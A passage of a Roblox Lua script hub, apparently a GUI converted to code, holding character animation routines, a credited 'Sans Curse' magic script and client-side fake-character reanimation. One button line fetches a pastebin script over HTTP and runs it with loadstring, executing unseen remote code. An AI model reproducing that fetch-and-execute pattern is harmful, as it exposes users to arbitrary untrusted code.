CFrame.Angles(math.rad(0+260*i), math.rad(0), math.rad(0)), 0.6) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(70),math.rad(0),math.rad(0)),.1) RW.C0 = clerp(RW.C0, CFrame.new(.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(-90)), 0.1) LW.C0 = clerp(LW.C0, CFrame.new(-.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(90)), 0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) end end)) Humanoid.AutoRotate = true RootPart.Velocity = RootPart.CFrame.lookVector * -137 + Vector3.new(0,136,0) wait(0.07) RootPart.CFrame = CFrame.new(RootPart.CFrame.p,-RootPart.CFrame.lookVector) end if walljump == true then attack = false walljump = false Humanoid.AutoRotate = true velo:Destroy() end end end end local homed = nil function home() if walljump ~= true then for i, v in pairs(FindNearestTorso(Torso.CFrame.p, 80)) do if v:FindFirstChild('Head') then Grabbed = true homed = v end end if homed ~= nil and homed:FindFirstChildOfClass("Humanoid").Health > 1 and walljump == false then so("http://www.roblox.com/asset/?id=162460823", Head, 1, .8) local SBall = Instance.new("Part",Character) SBall.Name = "Homing Ball" SBall.CanCollide = false SBall.Anchored = false SBall.Transparency = 0.64 SBall.CFrame = CFrame.new(RootPart.CFrame.p) SBall.BrickColor = BrickColor.new("Toothpaste") SBall.Size = Vector3.new(1,1,1) SBall.Material = "Neon" SBallweld = Instance.new("Weld") SBallweld.Parent = SBall SBallweld.Part0 = RootPart SBallweld.Part1 = SBall SBallweld.C1 = CFrame.new(0, 1, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) SBallweld.Part0 = RootPart local SBallmesh = Instance.new("SpecialMesh",SBall) SBallmesh.MeshType = "Sphere" SBallmesh.Scale = Vector3.new(6,6,6) trail = Instance.new("Trail", Character) a2 = Instance.new("Attachment", Torso) a2.Position = Vector3.new(0,2,0) a3 = Instance.new("Attachment", Torso)a3.Position = Vector3.new(0,-2.5,0) trail.Texture = "rbxassetid://0" trail.Attachment0 = a2 trail.Attachment1 = a3 trail.Lifetime = 0.353 trail.MinLength = 0.03 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0,0),NumberSequenceKeypoint.new(1,1,1)}) trail.Color = ColorSequence.new(Color3.new(0,1,1), Color3.new(0, 0,0)) trail.LightEmission = 4.8 trail.TextureLength = 0.034 trail.Enabled = true attack = true local position = Instance.new("BodyPosition",Torso) position.P = 68350 position.maxForce = Vector3.new(math.huge,math.huge,math.huge) while homed ~= nil and (homed.Torso.Position-RootPart.Position).magnitude > 8 do swait() SBall.CFrame = CFrame.new(RootPart.CFrame.p) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0+420*math.abs(sine/3.2)), math.rad(0), math.rad(0)), 0.6) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(70),math.rad(0),math.rad(0)),.1) RW.C0 = clerp(RW.C0, CFrame.new(.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(-90)), 0.1) LW.C0 = clerp(LW.C0, CFrame.new(-.7, -0.22, -0.5) * angles(math.rad(90), math.rad(0), math.rad(90)), 0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -.34, -0.7) * CFrame.Angles(math.rad(-25), math.rad(0), math.rad(0)), 0.1) position.Position = homed.Torso.Position + Vector3.new(0,2,0) end local bodvol=Instance.new("BodyVelocity") bodvol.velocity= RootPart.CFrame.lookVector*240 + Vector3.new(0,30,0) bodvol.P= 35200 bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) bodvol.Parent=homed.Head game:GetService("Debris"):AddItem(bodvol, 0.2) --homed:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(10,30)) position:Destroy() trail.Enabled = false SBall:Destroy() RootPart.Velocity = Vector3.new(0,93.5,0) coroutine.resume(coroutine.create(function() for i = 0,5,0.26 do swait() Humanoid.CameraOffset = Vector3.new(0,0,0) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1+0.1*i, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.21) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(22-2*i),math.rad(0),math.rad(0)),.21) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5+0.09*i, 0) * angles(math.rad(20-6*i), math.rad(0), math.rad(90+13*i)), 0.21) LW.C0 = clerp(LW.C0, CFrame.new(-1.0-0.12*i, 0.5, -0.4+0.05*i) * angles(math.rad(20+13*i), math.rad(0), math.rad(20-13*i)), 0.21) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(45+6*i), math.rad(0), math.rad(-22-4*i)), 0.21) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(45+6*i), math.rad(0), math.rad(22+4*i)), 0.21) end homed = nil attack = false end)) end end end mouse.KeyDown:connect(function(key) wait(0.16) if string.byte(key) == 32 and hitfloor == nil and attack == false and walljump == false and Humanoid.Jump == true then walljumpp() end if string.byte(key) == 32 and hitfloor == nil and attack == false and walljump == false and Humanoid.Jump == true then home() end if string.byte(key) == 32 and hitfloor == nil and attack == true and walljump == true then walljump = false end end) mouse.KeyDown:connect(function(key) if key == 'm' and attack == false then changemusic() end end) local MutedMusic = false mouse.KeyDown:connect(function(key) if key == 'n' then if not MutedMusic then MutedMusic = true music.Volume = 0 elseif MutedMusic then MutedMusic = false music.Volume = 1 end end end) mouse.KeyUp:connect(function(key) wait(0.05) if key == 'c' and sliding == true then sliding = false end end) local look = 0 while true do swait() sine = sine + change --speed = speed + music.PlaybackLoudness/90 local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude local velderp=RootPart.Velocity.y hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) local TiltVelocity = CFrame.new(RootPart.CFrame:vectorToObjectSpace(RootPart.Velocity)) local rlegray = Ray.new(RightLeg.Position+Vector3.new(0,0.54,0),Vector3.new(0, -1.75, 0)) local rlegpart, rlegendPoint = workspace:FindPartOnRay(rlegray, Character) local llegray = Ray.new(LeftLeg.Position+Vector3.new(0,0.54,0),Vector3.new(0, -1.75, 0)) local llegpart, llegendPoint = workspace:FindPartOnRay(llegray, Character) local waterthing = Ray.new(RootPart.CFrame.p,Vector3.new(0,-1,0)) local start, position = workspace:FindPartOnRay(waterthing, character) if start ~= nil and start.Material == "Water" then RootPart.Velocity = RootPart.Velocity + Vector3.new(0,6,0) end headsunsound.Pitch = 0.76 + Humanoid.WalkSpeed/124 if torvel<1 and Swing == 2 then boost = false elseif torvel>1 and Swing == 2 then boost = true freefall = 0 end if hitfloor ~= nil and freefall < 150 then freefall = 0 end if freefall > 150 and hitfloor ~= nil then land() freefall = 0 end if RootPart.Velocity.y > 1 and hitfloor==nil then Anim="Jump" if attack==false then change = 1 look = 0 Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.15) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(4), math.rad(0), math.rad(0)), 0.07) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(-10+2.05*math.cos(sine/5)),math.rad(0),math.rad(0)),0.07) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(-20+2.05*math.cos(sine/5)), math.rad(-10), math.rad(50-2.05*math.cos(sine/5))), 0.07) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(-20+2.05*math.cos(sine/5)), math.rad(-10), math.rad(-50+2.05*math.cos(sine/5))), 0.07) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1, -0.6) * CFrame.Angles(math.rad(-25+3.05*math.cos(sine/5)), math.rad(-3), math.rad(0)), 0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -.47, -0.7) * CFrame.Angles(math.rad(-12+3.05*math.cos(sine/5)), math.rad(0), math.rad(0)), 0.1) end elseif RootPart.Velocity.y < -1 and freefall <150 and hitfloor==nil then Anim="Fall" change = 1 freefall = freefall +0.77 if attack==false then Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.15) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0.2) * CFrame.Angles(math.rad(7+4*math.sin(sine/1.3)), math.rad(0), math.rad(0)),0.07) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.65, 0) * angles(math.rad(0), math.rad(0), math.rad(140+12*math.cos(sine/1.3))), 0.07) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.65, 0) * angles(math.rad(0), math.rad(0), math.rad(-140+12*math.cos(sine/1.3))), 0.07) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(40+7*math.sin(sine/1.3)),math.rad(0),math.rad(0)),0.07) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.17*math.cos(sine/1.3), -0.13) * CFrame.Angles(math.rad(18+7*math.cos(sine/1.3)), math.rad(3), math.rad(0)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -.37+0.17*math.cos(sine/1.3), -0.2) * CFrame.Angles(math.rad(32+7*math.cos(sine/1.3)), math.rad(0), math.rad(0)), 0.1) end elseif RootPart.Velocity.y < -1 and freefall > 150 and hitfloor==nil then Anim="FreeFall" change = 1 if attack==false then Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.15) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1, 0.2) * CFrame.Angles(math.rad(-90+3*math.sin(sine/1.3)), math.rad(0), math.rad(0)),0.07) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(14+12*math.cos(sine/1.3)), math.rad(0), math.rad(110)), 0.07) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(14+12*math.cos(sine/1.3)), math.rad(0), math.rad(-110)), 0.07) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(-12+7*math.sin(sine/1.3)),math.rad(0),math.rad(0)),0.07) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.17*math.cos(sine/1.3),0.2) * CFrame.Angles(math.rad(-12+4*math.cos(sine/1.3)), math.rad(3), math.rad(-46)), 0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1+0.17*math.cos(sine/1.3), 0.2) * CFrame.Angles(math.rad(-12+4*math.cos(sine/1.3)), math.rad(0), math.rad(46)), 0.1) end elseif torvel<1 and hitfloor~=nil then Anim="Idle" change = 1 if attack==false and equip == false then Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.15) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1-0.04*math.cos(sine/40), -0) * CFrame.Angles(math.rad(0-0.81*math.cos(sine/40)), math.rad(-40), math.rad(0)), 0.1) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(0+2.6*math.sin(sine/40)),math.rad(0),math.rad(40)),0.1) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.55+0.04*math.sin(sine/40), 0-0.04*math.cos(sine/40)) * angles(math.rad(-2+1.3*math.cos(sine/40)), math.rad(0+4*math.sin(sine/40)), math.rad(6.3+2.2*math.cos(sine/40))),0.1) LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.55+0.04*math.sin(sine/40), 0-0.04*math.cos(sine/40)) * angles(math.rad(2+1.3*math.cos(sine/40)), math.rad(0-4*math.sin(sine/40)), math.rad(-6.3-2.2*math.cos(sine/40))),0.1) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, llegendPoint.Y-LeftLeg.Position.Y+0.04*math.cos(sine/40), 0) * CFrame.Angles(math.rad(0+0.81*math.cos(sine/40)), math.rad(18+0.81*math.cos(sine/40)), math.rad(-2-0.81*math.cos(sine/40))),0.1) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.57, rlegendPoint.Y-RightLeg.Position.Y+0.04*math.cos(sine/40), 0) * CFrame.Angles(math.rad(0+0.81*math.cos(sine/40)), math.rad(-2+0.81*math.cos(sine/40)), math.rad(3-0.81*math.cos(sine/40))),0.1) end elseif torvel>1.5 and torvel<70 and hitfloor~=nil then Anim="Walk" change = 0.84+ Character.Humanoid.WalkSpeed/132 look = 0 if attack==false and equip == false then Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.02) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1-0.52*math.cos(sine/2), -.8) * angles(math.rad(-26), math.rad(0), math.rad(0)+ RootPart.RotVelocity.Y / 26), .1) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(-11+20*math.sin(sine/2)),math.rad(0),math.rad(0+5*math.sin(sine/4)) + RootPart.RotVelocity.Y / 13),.1) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0.1) * angles(math.rad(-60-7*math.sin(sine/4))+ RootPart.RotVelocity.Y / -34, math.rad(0), math.rad(15+2*math.sin(sine/4))- RootPart.RotVelocity.Y / 34),.15) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0.1)*angles(math.rad(-60-7*math.sin(sine/4))+ RootPart.RotVelocity.Y / 34,math.rad(0),math.rad(-15+2*math.sin(sine/4))+ RootPart.RotVelocity.Y / -34),.15) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.28*math.cos(sine/4), 0-0.32*math.cos(sine/4)) * CFrame.Angles(math.rad(0+104*math.sin(sine/4)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)+ RootPart.RotVelocity.Y / -54), 0.3) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1-0.28*math.cos(sine/4),0+0.32*math.cos(sine/4)) * CFrame.Angles(math.rad(0-104*math.sin(sine/4)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)- RootPart.RotVelocity.Y / 54), 0.3) end elseif torvel>=70 and torvel<200 and hitfloor~=nil then Anim="Run" change = 0.84+ Character.Humanoid.WalkSpeed/142 if attack==false and equip == false then Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.02) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1-0.52*math.cos(sine/1.5), -.8) * angles(math.rad(-37), math.rad(0), math.rad(0)+ RootPart.RotVelocity.Y / 26), .1) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(-11+25*math.sin(sine/1.5)),math.rad(0),math.rad(0+5*math.sin(sine/3)) + RootPart.RotVelocity.Y / 13),.1) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0.3) * angles(math.rad(-72-8*math.sin(sine/1.5))+ RootPart.RotVelocity.Y / -34, math.rad(0), math.rad(1+0*math.cos(sine/3))- RootPart.RotVelocity.Y / 34),.25) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0.3)*angles(math.rad(-72-8*math.sin(sine/1.5))+ RootPart.RotVelocity.Y / 34,math.rad(0),math.rad(-1+0*math.cos(sine/3))+ RootPart.RotVelocity.Y / -34),.25) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.32*math.cos(sine/3), 0-0.42*math.cos(sine/3)) * CFrame.Angles(math.rad(0+134*math.sin(sine/3)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)+ RootPart.RotVelocity.Y / -54), 0.44) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1-0.32*math.cos(sine/3),0+0.42*math.cos(sine/3)) * CFrame.Angles(math.rad(0-134*math.sin(sine/3)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)- RootPart.RotVelocity.Y / 54), 0.44) end --[[ if attack==false then LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1-0.4*math.cos(sine/5.5)/2, 0 *math.sin(sine/6.6)/2) * CFrame.Angles(math.rad(0) + -math.sin(sine/5.5)/1.2, math.rad(0), 0), .8) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1+0.4*math.cos(sine/5.5)/2,0 *-math.sin(sine/6.6)/2) * CFrame.Angles(math.rad(0) + math.sin(sine/5.5)/1.2, math.rad(0), 0), .8) end ]] if attack==true and noleg == false then LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1-0.24*math.cos(sine/5), 0.+0.24*math.cos(sine/5)) * CFrame.Angles(math.rad(0-74*math.sin(sine/5)), math.rad(0), math.rad(0)), 0.3) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1+0.24*math.cos(sine/5),0.-0.24*math.cos(sine/5)) * CFrame.Angles(math.rad(0+74*math.sin(sine/5)), math.rad(0), math.rad(0)), 0.3) end elseif torvel>=200 and hitfloor~=nil then Anim="MachRun" change = 0.84+ Character.Humanoid.WalkSpeed/182 if attack==false and equip == false then Humanoid.CameraOffset = Humanoid.CameraOffset:lerp(Vector3.new(0,0,0),0.02) Torso.Weld.C0 = clerp(Torso.Weld.C0, CFrame.new(0, -1-0.52*math.cos(sine/1), -3.8) * angles(math.rad(-44), math.rad(0), math.rad(0)+ RootPart.RotVelocity.Y / 26), .2) Torso.Neck.C0 = clerp(Torso.Neck.C0,necko *angles(math.rad(-11+25*math.sin(sine/1)),math.rad(0),math.rad(0+5*math.sin(sine/2)) + RootPart.RotVelocity.Y / 13),.2) RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0.5) * angles(math.rad(-78-12*math.sin(sine/1))+ RootPart.RotVelocity.Y / -34, math.rad(0), math.rad(-24+0*math.cos(sine/2))- RootPart.RotVelocity.Y / 34),.35) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0.5)*angles(math.rad(-78-12*math.sin(sine/1))+ RootPart.RotVelocity.Y / 34,math.rad(0),math.rad(24+0*math.cos(sine/2))+ RootPart.RotVelocity.Y / -34),.35) LeftLeg.Weld.C0 = clerp(LeftLeg.Weld.C0, CFrame.new(-0.5, -1+0.42*math.cos(sine/2), 0-0.62*math.cos(sine/2)) * CFrame.Angles(math.rad(0+134*math.sin(sine/2)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)+ RootPart.RotVelocity.Y / -54), 0.52) RightLeg.Weld.C0 = clerp(RightLeg.Weld.C0, CFrame.new(0.5, -1-0.42*math.cos(sine/2),0+0.62*math.cos(sine/2)) * CFrame.Angles(math.rad(0-134*math.sin(sine/2)), math.rad(0)+ RootPart.RotVelocity.Y / 42, math.rad(0)- RootPart.RotVelocity.Y / 54), 0.52) end end if 0 < #Effects then for e = 1, #Effects do if Effects[e] ~= nil then local Thing = Effects[e] if Thing ~= nil then local Part = Thing[1] local Mode = Thing[2] local Delay = Thing[3] local IncX = Thing[4] local IncY = Thing[5] local IncZ = Thing[6] if Thing[1].Transparency <= 1 then if Thing[2] == "Block1" then Thing[1].CFrame = Thing[1].CFrame * euler(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) Mesh = Thing[1]:FindFirstChild("Mesh") if not Mesh then Mesh = Instance.new("BlockMesh") end Mesh.Scale = Mesh.Scale + vt(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] elseif Thing[2] == "Cylinder" then Mesh = Thing[1]:FindFirstChild("Mesh") if not Mesh then Mesh = Instance.new("BlockMesh") end Mesh.Scale = Mesh.Scale + vt(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] elseif Thing[2] == "Blood" then Mesh = Thing[1]:FindFirstChild("Mesh") if not Mesh then Mesh = Instance.new("BlockMesh") end Thing[1].CFrame = Thing[1].CFrame * cf(0, 0.5, 0) Mesh.Scale = Mesh.Scale + vt(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] elseif Thing[2] == "Elec" then Mesh = Thing[1]:FindFirstChild("Mesh") if not Mesh then Mesh = Instance.new("BlockMesh") end Mesh.Scale = Mesh.Scale + vt(Thing[7], Thing[8], Thing[9]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] elseif Thing[2] == "Disappear" then Thing[1].Transparency = Thing[1].Transparency + Thing[3] end else Part.Parent = nil game:GetService("Debris"):AddItem(Part, 0) table.remove(Effects, e) end end end end end end end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_67); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_69() local script = G2L["69"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/XPGSMEw9"))() end) end; task.spawn(C_69); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_6b() local script = G2L["6b"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() -- Created by Nebula_Zorua -- -- Sans Curse (A Curse of Light) -- -- Custom Arcane Adventures Magic -- -- Wielder: Everybody (Released) -- -- Why the fuck did I make this -- -- I don't even LIKE undertale -- -- what the fuck -- -- Discord: Nebula the Zorua#6969 -- Youtube: https://www.youtube.com/channel/UCo9oU9dCw8jnuVLuy4_SATA -- You can change the Magic Circle n stuff down under Customization, at MagicVariant -- local fake_transparency = 0.8 local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() Player=game.Players.LocalPlayer Character=FakeCharacter hum = Character.Humanoid LeftArm=Character["Left Arm"] LeftLeg=Character["Left Leg"] RightArm=Character["Right Arm"] RightLeg=Character["Right Leg"] Root=Character["HumanoidRootPart"] Head=Character["Head"] Torso=Character["Torso"] Neck=Torso["Neck"] mouse = Player:GetMouse() walking = false jumping = false attacking = false firsttime = false tauntdebounce = false position = nil MseGuide = true running = false settime = 0 sine = 0 t = 0 ws = 14 change = 1 combo1 = true dancing = false equip = false dgs = 75 combo2 = false switch1 = true switch2 = false firsttime2 = false combo3 = false gunallowance = false shooting = false RunSrv = game:GetService("RunService") RenderStepped = game:GetService("RunService").RenderStepped removeuseless = game:GetService("Debris") screenGui = Instance.new("ScreenGui") screenGui.Parent = script.Parent local HEADLERP = Instance.new("ManualWeld") HEADLERP.Parent = Head HEADLERP.Part0 = Head HEADLERP.Part1 = Head HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local TORSOLERP = Instance.new("ManualWeld") TORSOLERP.Parent = Root TORSOLERP.Part0 = Torso TORSOLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local ROOTLERP = Instance.new("ManualWeld") ROOTLERP.Parent = Root ROOTLERP.Part0 = Root ROOTLERP.Part1 = Torso ROOTLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local RIGHTARMLERP = Instance.new("ManualWeld") RIGHTARMLERP.Parent = RightArm RIGHTARMLERP.Part0 = RightArm RIGHTARMLERP.Part1 = Torso RIGHTARMLERP.C0 = CFrame.new(-1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local LEFTARMLERP = Instance.new("ManualWeld") LEFTARMLERP.Parent = LeftArm LEFTARMLERP.Part0 = LeftArm LEFTARMLERP.Part1 = Torso LEFTARMLERP.C0 = CFrame.new(1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local RIGHTLEGLERP = Instance.new("ManualWeld") RIGHTLEGLERP.Parent = RightLeg RIGHTLEGLERP.Part0 = RightLeg RIGHTLEGLERP.Part1 = Torso RIGHTLEGLERP.C0 = CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local LEFTLEGLERP = Instance.new("ManualWeld") LEFTLEGLERP.Parent = LeftLeg LEFTLEGLERP.Part0 = LeftLeg LEFTLEGLERP.Part1 = Torso LEFTLEGLERP.C0 = CFrame.new(0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local function weldBetween(a, b) local weld = Instance.new("ManualWeld", a) weld.Part0 = a weld.Part1 = b weld.C0 = a.CFrame:inverse() * b.CFrame return weld end function MAKETRAIL(PARENT,POSITION1,POSITION2,LIFETIME,COLOR) A = Instance.new("Attachment", PARENT) A.Position = POSITION1 A.Name = "A" B = Instance.new("Attachment", PARENT) B.Position = POSITION2 B.Name = "B" tr1 = Instance.new("Trail", PARENT) tr1.Attachment0 = A tr1.Attachment1 = B tr1.Enabled = true tr1.Lifetime = LIFETIME tr1.TextureMode = "Static" tr1.LightInfluence = 0 tr1.Color = COLOR tr1.Transparency = NumberSequence.new(0, 1) end introsound = Instance.new("Sound",Head) introsound.SoundId = "rbxassetid://236146895" introsound.Volume = 8 introsound:Play() fedora = Instance.new("Part",Character) fedora.Size = Vector3.new(2,2,2) fedora.CFrame = Head.CFrame fedora.CanCollide = false fedoraweld = Instance.new("Weld",fedora) fedoraweld.Part0 = fedora fedoraweld.Part1 = Head fedoraweld.C0 = fedora.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.75,0) mfedora = Instance.new("SpecialMesh", fedora) mfedora.MeshType = "FileMesh" mfedora.Scale = Vector3.new(.97, .97, .97) mfedora.MeshId,mfedora.TextureId = 'http://www.roblox.com/asset/?id=13640868','http://www.roblox.com/asset/?id=18987684' shades = Instance.new("Part",Character) shades.Size = Vector3.new(2,2,2) shades.CFrame = Head.CFrame shades.CanCollide = false shadesweld = Instance.new("Weld",shades) shadesweld.Part0 = shades shadesweld.Part1 = Head shadesweld.C0 = shades.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.2,.15) mshades = Instance.new("SpecialMesh", shades) mshades.MeshType = "FileMesh" mshades.Scale = Vector3.new(1.04, 1.28, 1.04) mshades.MeshId,mshades.TextureId = 'http://www.roblox.com/asset/?id=1577360','http://www.roblox.com/asset/?id=1577349' for i,v in pairs(Character:GetChildren()) do if v.ClassName == "Shirt" or 